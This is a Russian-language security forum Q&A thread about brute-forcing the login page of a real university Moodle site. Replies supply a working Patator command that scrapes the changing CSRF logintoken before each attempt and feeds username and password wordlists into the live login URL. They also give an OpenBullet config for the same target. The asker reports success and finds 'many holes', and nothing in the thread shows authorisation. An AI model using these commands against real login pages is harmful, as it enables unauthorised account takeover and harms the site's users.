Toggle sidebar Toggle sidebar
ВОПРОС · Q&A

Создание POST запроса на сервер для брута HTTP запросов

7 ответов 6,8 тыс.
#brut #brute #burp suite #http atacks #http basic auth bruteforce
Решение
U
Patator выше 0.6-й версии позволяет перед каждым запросом вытаскивать CSRF-token
Bash: 
patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/opt/SecLists/Usernames/top-usernames-shortlist.txt 1=/opt/SecLists/Passwords/darkweb2017-top10.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'
Сортировать по дате Сортировать по голосам
Автор вопроса
Andrey Methew Andrey Methew Участник
#1
Пробовал разными способами и по всякому, через HYDRA тепер через patator пробывал. Всегда одна проблема, ответы на все запросы положительные или все отрицательные хоть в файлах находиться заведомо робочий логин и пароль. Сайт определьоно использует redirect, но с добавлением следования любому редиректу ничего не меняеться. Какой мне запрос отправить чтоб все заработало? Помогите так как єто часть курсовой работы, прошу!

Все данные взятые из Burp Suite
Сам запрос отправления:
Код: 
POST /login/index.php HTTP/1.1

Host: vns.lpnu.ua
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://vns.lpnu.ua
Connection: close
Referer: http://vns.lpnu.ua/login/index.php
Cookie: _ga=GA1.2.1059295513.1605731993; _gid=GA1.2.2021700960.1605731993; MoodleSession=8hu13dbbd2nnusqss947sa4abu; _gat_gtag_UA_73451727_1=1; _gat_gtag_UA_113782330_1=1; _gat_gtag_UA_123656552_1=1
Upgrade-Insecure-Requests: 1
anchor=&logintoken=8WNzAopDuASJoZhtjjQXqDRgIAv435QF&username=my_name&password=234243243


Ответ:

HTML: 
HTTP/1.1 303 See Other
Date: Thu, 19 Nov 2020 14:24:23 GMT
Server: Apache/2.4.37 (centos) OpenSSL/1.1.1c
X-Powered-By: PHP/7.4.12
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Language: en
Location: http://vns.lpnu.ua/login/index.php
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 432

<!DOCTYPE html>
<html  lang="en" xml:lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Redirect</title>
</head>
    <body>
        <div style="margin-top: 3em; margin-left:auto; margin-right:auto; text-align:center;">
            This page should automatically redirect. If nothing is happening please use the continue link below.<br />
            <a href="http://vns.lpnu.ua/login/index.php">Continue</a>
        </div>
    </body>
</html>


Моя команда отправкизапроса через patator:

./patator.py http_fuzz url="vns.lpnu.ua /login/ index.php" method=POST body='anchor=&logintoken=&username=FILE0&password=FILE1' 0=/home/kali/log.txt 1=/home/kali/pass.txt before_urls="vns.lpnu.ua /login/ index.php" accept_cookie=1 follow=1 -x ignore:fgrep='login'
 
Последнее редактирование:
За 1 Против
#2
За 0 Против
#3
Pernat1y сказал(а):
Не надо так :)
Попробуй -x ignore:fgrep='Invalid login' или -x ignore:code=303
Нажмите, чтобы раскрыть...
Вот вывод:
Код: 
./patator.py http_fuzz url="vns.lpnu.ua/login/index.php" method=POST body='anchor=&logintoken=&username=FILE0&password=FILE1' 0=/home/kali/log.txt 1=/home/kali/pass.txt before_urls="vns.lpnu.ua/login/index.php"  accept_cookie=1 follow=1 -x ignore:code=303
13:36:05 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.8.6 at 2020-11-19 13:36 EST
13:36:05 patator    INFO -                                                                          
13:36:05 patator    INFO - code size:clen       time | candidate                          |   num | mesg
13:36:05 patator    INFO - -----------------------------------------------------------------------------
13:36:05 patator    INFO - 200  36504:-1       0.206 | A.M.KB.2020:10.09.2000 |     1 | HTTP/1.1 200 OK
13:36:05 patator    INFO - 200  36504:-1       0.232 | A.M.KB.2020:15.09.2000 |     2 | HTTP/1.1 200 OK
13:36:05 patator    INFO - 200  36504:-1       0.206 | A.M.KB.2020:25.09.2000 |     3 | HTTP/1.1 200 OK
13:36:06 patator    INFO - Hits/Done/Skip/Fail/Size: 3/3/0/0/3, Avg: 2 r/s, Time: 0h 0m 1s

В нем есть logintoken= который меняется при каждом обновлении, только незнаю как обойти это.
К всему этому незнаю почему но, через Burp Suite я пробывал перехватить пакет, внести также логины, но результатов это не дало. Я решил вручную вписать в код заведомо правильный логин и пароль, проверял перед отправкой, после отправки - тот же редирект, и ошибка неверный пароль. Незнаю как но могут както куки и этот logintoken= быть связаны с информацией username и password
 
Последнее редактирование:
За 1 Против
#4
Andrey Methew сказал(а):
В нем есть logintoken= который меняется при каждом обновлении, только незнаю как обойти это.
Нажмите, чтобы раскрыть...
Токен каждый раз новый, т.е. это не хеш и не кукисы.
Потенциально CSRF токен. Попробуй почитать тут What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy, тут CSRF tokens | Web Security Academy и глянуть на Sanix-Darker/Brute-Force-Login
 
За 0 Против
#5
Pernat1y сказал(а):
Токен каждый раз новый, т.е. это не хеш и не кукисы.
Потенциально CSRF токен. Попробуй почитать тут What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy, тут CSRF tokens | Web Security Academy и глянуть на Sanix-Darker/Brute-Force-Login
Нажмите, чтобы раскрыть...
Спасибо большое, щас гляну

yky сказал(а):
Скинь url, помогу )
Нажмите, чтобы раскрыть...
vns.lpnu.ua/login/index.php
 
За 1 Против
#6
Сначало парсится токен:
Код: 
REQUEST GET "http://vns.lpnu.ua/"

  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

#TOKEN PARSE "<SOURCE>" LR "name=\"logintoken\" value=\"" "\">" -> VAR ""

REQUEST POST "http://vns.lpnu.ua/login/index.php"
  CONTENT "anchor=&logintoken=<TOKEN>&username=test1%40test.ru&password=123456"
  CONTENTTYPE "application/x-www-form-urlencoded"
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

KEYCHECK
  KEYCHAIN Failure OR
    KEY "Ви не пройшли ідентифікацію"

Это от openbullet ,так как у меня нету валидного логин:пасс более точно написать не могу )
Если есть рабочий логин:пасс напишу полностью
 
Последнее редактирование:
Решение
За 2 Против
#7
Patator выше 0.6-й версии позволяет перед каждым запросом вытаскивать CSRF-token
Bash: 
patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/opt/SecLists/Usernames/top-usernames-shortlist.txt 1=/opt/SecLists/Passwords/darkweb2017-top10.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'
 
За 1 Против
#8
M0r7iF3r сказал(а):
Patator выше 0.6-й версии позволяет перед каждым запросом вытаскивать CSRF-token
Bash: 
patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/opt/SecLists/Usernames/top-usernames-shortlist.txt 1=/opt/SecLists/Passwords/darkweb2017-top10.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'
Нажмите, чтобы раскрыть...
Спасибо большое, не знал что так можно в документации не видел такого!
yky сказал(а):
Сначало парсится токен:
Код: 
REQUEST GET "http://vns.lpnu.ua/"

  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

#TOKEN PARSE "<SOURCE>" LR "name=\"logintoken\" value=\"" "\">" -> VAR ""

REQUEST POST "http://vns.lpnu.ua/login/index.php"
  CONTENT "anchor=&logintoken=<TOKEN>&username=test1%40test.ru&password=123456"
  CONTENTTYPE "application/x-www-form-urlencoded"
  HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
  HEADER "Pragma: no-cache"
  HEADER "Accept: */*"

KEYCHECK
  KEYCHAIN Failure OR
    KEY "Ви не пройшли ідентифікацію"

Это от openbullet ,так как у меня нету валидного логин:пасс более точно написать не могу )
Если есть рабочий логин:пасс напишу полностью
Нажмите, чтобы раскрыть...
Спасибо большое, разобрался в єтом всем.


Если интересно то вот результаты:
1605959885976.png


Изучив принцип работы нашел очень много дыр. Спасибо всем большое за помощ!

Спасибо M0r7iF3r
вот код:
Код: 
./patator.py http_fuzz method=POST follow=1 accept_cookie=1  --threads=1  timeout=5 --max-retries=0 url="http://vns.lpnu.ua/login/index.php" body="anchor=&logintoken=_CSRF_&username=FILE0&password=FILE1" header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" 0=/home/kali/log.txt 1=/home/kali/passsep.txt before_urls="http://vns.lpnu.ua/login/index.php" before_header="Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7" before_egrep='_CSRF_:<input type="hidden" name="logintoken" value="(\w+)">' -x ignore:fgrep='Invalid login'

Надеюсь это поможет другим писать подобные запросы!
 
Для ответа нужно войти/зарегистрироваться

Ещё по теме

4
A Составить запрос hydra als·14.11.2023·Вопросы и Ответы по ИБ (Q&A) 7 4 тыс. 16.11.2023 Q CTFCTF Soltice от Offensive Security Qulan·03.06.2021·HackerLab: практика и соревнования 15 12 тыс. 23.12.2022 Q CTFCTF Sunset: twilight Qulan·06.03.2021·HackerLab: практика и соревнования 10 8 тыс. 09.03.2021 ZhZ Отравление веб кеша как воспроизвести воспроизведение на локале ZhZ·22.11.2019·Вопросы и Ответы по ИБ (Q&A) 0 2 тыс. 22.11.2019
Верх Низ
Назад